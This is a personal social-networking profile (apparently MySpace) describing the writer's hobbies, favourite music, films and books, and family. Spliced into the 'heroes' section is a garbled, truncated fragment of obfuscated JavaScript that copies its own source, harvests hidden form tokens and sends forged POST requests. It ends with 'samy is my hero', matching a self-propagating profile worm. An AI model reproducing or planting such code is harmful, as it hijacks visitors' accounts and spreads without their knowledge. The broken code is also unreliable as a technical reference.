I love music (I play piano & am slowly learning guitar) & love to check out concerts, shows or even the local music scene, travel, photography, art of all kinds (I started oil painting just last year), family & friends (which are basically my family since I have so few real members in California), cycling (member of 2 OC teams), snowboarding, heading to clubs, and horseback riding (ex-pro equestrian).My personality is hard to describe...I guess I'm an extremist...for whatever extreme I show you, I'm exactly opposite the next day. Sometimes extremely quiet, sometimes the life of the party. Don't worry, I don't have an evil twin!
Friends that have the same interests I do!!!
Hmmm...I think the only kind of music I don't really listen to much is country. I have enjoyed and been inspired by so many types of music and different bands in my life that it's not really fair to list any...there will always be ones left out...but here goes:Onesidezero, U2, Sparta, Lacuna Coil, TOOL, A Perfect Circle, SlingShot (my younger bro's band), Reverend Horton Heat, Sex Pistols, Red Hot Chili Peppers, Smashing Pumpkins, Muse, Incubus, deftones, 311, Sevendust, The Mars Volta, Wolfmother, The Used, Dredg, The Postal Service, Boy Hits Car, Radiohead, Jeff Buckley, Patti Griffin, Robert Randolph & the Family Band, Jimi Hendrix, Led Zepplin, Buck Cherry, Strata, Butch Walker, Angie Aparo, [minus] (Atlanta - Represent!!!), Missy Elliot, Wu Tang Clan, Outkast, Armin Van Buuren, Markus Schultz, Dave Seaman, Paul Van Dyke, Paul Oakenfold, Ferry Corsten, Miles Davis, Herbie Hancock, Bach (Johann Sebastian, not Johann Christian), Beethoven, Chopin, and Handel...just to name a few! ;o)
I don't know that I actually have a favorite...but, lately I've been watching quite a few foreign films - they actually have new plots - not like these movies out now that seem to be all the same story
When I actually do watch, I'm a BBC junkie, National Geographic, History Channel, Comedy Channel kind of a girl. The only show I actually set time out to watch is THE SOPRANOS!!!
I read a LOT...and by a LOT, I mean I'm on a first name basis with the geeks at Barnes & Noble ;o) So, it's unfair at the moment to say what some of my current favorites are...but one of my favorite childhood books definitely has to be "A Wrinkle in Time". I'm constantly trying to expand my awareness & I love to use my imagination - so any book that can do either or both of those things works!
Definitely my father and younger brother. Their lives are constant reminders for me to always do things to better myself, increase my awareness & above else, love others unconditionally. My mum for battling with an advanced stage of Alzheimer's Disease - I love you! 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero.
